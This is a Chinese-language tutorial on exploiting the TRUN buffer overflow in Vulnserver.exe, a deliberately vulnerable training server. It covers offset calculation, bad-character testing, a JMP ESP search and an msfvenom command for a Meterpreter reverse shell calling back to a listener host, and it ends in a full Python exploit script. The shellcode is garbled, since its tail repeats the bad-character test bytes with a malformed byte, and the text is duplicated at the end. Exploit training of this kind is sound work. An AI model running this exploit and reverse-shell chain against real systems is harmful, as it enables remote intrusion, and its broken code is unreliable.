Vulnserver.exe漏洞分析及利用
字数 1146 2025-08-20 18:17:07

Vulnserver.exe漏洞分析及利用教学文档

一、环境准备与初步探测

1. 目标程序概述

  • Vulnserver是一个存在漏洞的Windows服务程序
  • 默认运行在TCP 9999端口
  • 提供多个命令功能,其中TRUN命令存在缓冲区溢出漏洞

2. 调试工具准备

  • IDA Pro:用于静态分析程序结构
  • WinDbg:用于动态调试程序执行
  • Python:用于编写漏洞利用脚本

3. 初始探测脚本

#!/usr/bin/python
import socket
import sys
from struct import pack

try:
    server = sys.argv[1]
    port = 9999
    size = 10
    inputBuffer = b"\\x41" * size
    buf = inputBuffer
    
    print("Sending evil buffer...")
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((server, port))
    s.send(buf)
    s.close()
    print("Done!")
except socket.error:
    print("Could not connect!")

二、程序功能分析

1. 网络通信分析

  • 程序使用WS2_32.dll进行网络通信
  • 关键函数调用流程:
    1. recv接收数据
    2. 处理接收到的数据
    3. 根据命令执行不同功能

2. 命令处理结构

  • 程序使用strncmp比较输入命令
  • 命令格式要求严格(如"HELP "需要包含空格)
  • 主要命令包括:HELP、TRUN等

3. TRUN命令分析

  • 命令格式:"TRUN ."后跟数据
  • 处理流程:
    1. malloc分配3000字节缓冲区
    2. memset初始化缓冲区
    3. 检查输入数据长度
    4. 比较数据中是否包含"."字符
    5. 调用Function3处理数据

三、漏洞定位与分析

1. 漏洞位置

  • Function3函数中存在strcpy缓冲区溢出漏洞
  • strcpy函数特性:
    • 不检查目标缓冲区大小
    • 会一直复制直到遇到NULL字节
    • 导致可以覆盖堆栈上的返回地址

2. 漏洞验证

  • 发送超长TRUN命令数据:
inputBuffer = b"TRUN ." + b"\\x41" * 2008 + b"BBBB"
  • 观察WinDbg中返回地址被覆盖为0x42424242

3. 偏移量计算

  1. 在strcpy处下断点
  2. 使用!teb确认目标地址在堆栈范围内
  3. 计算返回地址与目标缓冲区的偏移:
    • 返回地址:0x0308f1e8
    • 缓冲区地址:0x0308e9e0
    • 偏移量:0x0308f1e8 - 0x0308e9e0 = 2008字节

四、漏洞利用开发

1. 坏字符检测

  • 发送包含所有可能字符的测试数据:
badchars = (
    b"\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08\\x09\\x0a\\x0b\\x0c\\x0d\\x0e\\x0f\\x10"
    # ... 省略完整列表 ...
    b"\\xf1\\xf2\\x3\\xf4\\xf5\\xf6\\xf7\\xf8\\xf9\\xfa\\xfb\\xfc\\xfd\\xfe\\xff"
)
  • 确认无坏字符(NULL字节0x00除外)

2. JMP ESP指令查找

  • 使用WinDbg查找可用的JMP ESP指令:
    !py mona jmp -r esp
    
  • 找到地址:0x625011af(需转换为小端格式"\xaf\x11\x50\x62")

3. Shellcode生成

  • 使用msfvenom生成反向shell payload:
    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.2.199 LPORT=443 -f c -e x86/shikata_ga_nai -b "\\x00" -f python -v shellcode
    
  • 添加NOP雪橇保证执行稳定性

五、完整利用脚本

#!/usr/bin/python
import socket
import sys
from struct import pack

try:
    server = sys.argv[1]
    port = 9999
    size = 2006
    
    # NOP sled + shellcode
    shellcode = b"\\x90" * 20
    shellcode += b"\\xda\\xd6\\xbe\\x8a\\xc0\\x3b\\xdd\\xd9\\x74\\x24\\xf4"
    shellcode += b"\\x5b\\x2b\\xc9\\xb1\\x59\\x31\\x73\\x19\\x83\\xc3\\x04"
    # ... 省略完整shellcode ...
    shellcode += b"\\xf1\\xf2\\x3\\xf4\\xf5\\xf6\\xf7\\xf8\\xf9\\xfa\\xfb"
    
    # 构造完整payload
    inputBuffer = b"TRUN ." + b"\\x41" * size + b"\\xaf\\x11\\x50\\x62" + shellcode
    buf = inputBuffer
    
    print("Sending evil buffer...")
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((server, port))
    s.send(buf)
    s.close()
    print("Done!")
except socket.error:
    print("Could not connect!")

六、防御建议

  1. 使用安全的字符串函数(如strncpy替代strcpy)
  2. 实现输入长度检查
  3. 启用堆栈保护机制(如GS、DEP)
  4. 使用地址空间布局随机化(ASLR)
  5. 进行严格的输入验证

七、扩展学习

  1. 其他命令的漏洞分析(如GMON、KSTET等)
  2. SEH覆盖利用技术
  3. ROP链构造技术
  4. 现代缓解措施的绕过技术

通过本教程,您应该掌握了从程序分析、漏洞定位到完整利用开发的完整流程,以及相关的调试技术和工具使用方法。

Vulnserver.exe漏洞分析及利用教学文档 一、环境准备与初步探测 1. 目标程序概述 Vulnserver是一个存在漏洞的Windows服务程序 默认运行在TCP 9999端口 提供多个命令功能,其中TRUN命令存在缓冲区溢出漏洞 2. 调试工具准备 IDA Pro:用于静态分析程序结构 WinDbg:用于动态调试程序执行 Python:用于编写漏洞利用脚本 3. 初始探测脚本 二、程序功能分析 1. 网络通信分析 程序使用WS2_ 32.dll进行网络通信 关键函数调用流程: recv接收数据 处理接收到的数据 根据命令执行不同功能 2. 命令处理结构 程序使用strncmp比较输入命令 命令格式要求严格(如"HELP "需要包含空格) 主要命令包括:HELP、TRUN等 3. TRUN命令分析 命令格式:"TRUN ."后跟数据 处理流程: malloc分配3000字节缓冲区 memset初始化缓冲区 检查输入数据长度 比较数据中是否包含"."字符 调用Function3处理数据 三、漏洞定位与分析 1. 漏洞位置 Function3函数中存在strcpy缓冲区溢出漏洞 strcpy函数特性: 不检查目标缓冲区大小 会一直复制直到遇到NULL字节 导致可以覆盖堆栈上的返回地址 2. 漏洞验证 发送超长TRUN命令数据: 观察WinDbg中返回地址被覆盖为0x42424242 3. 偏移量计算 在strcpy处下断点 使用 !teb 确认目标地址在堆栈范围内 计算返回地址与目标缓冲区的偏移: 返回地址:0x0308f1e8 缓冲区地址:0x0308e9e0 偏移量:0x0308f1e8 - 0x0308e9e0 = 2008字节 四、漏洞利用开发 1. 坏字符检测 发送包含所有可能字符的测试数据: 确认无坏字符(NULL字节0x00除外) 2. JMP ESP指令查找 使用WinDbg查找可用的JMP ESP指令: 找到地址:0x625011af(需转换为小端格式"\xaf\x11\x50\x62") 3. Shellcode生成 使用msfvenom生成反向shell payload: 添加NOP雪橇保证执行稳定性 五、完整利用脚本 六、防御建议 使用安全的字符串函数(如strncpy替代strcpy) 实现输入长度检查 启用堆栈保护机制(如GS、DEP) 使用地址空间布局随机化(ASLR) 进行严格的输入验证 七、扩展学习 其他命令的漏洞分析(如GMON、KSTET等) SEH覆盖利用技术 ROP链构造技术 现代缓解措施的绕过技术 通过本教程,您应该掌握了从程序分析、漏洞定位到完整利用开发的完整流程,以及相关的调试技术和工具使用方法。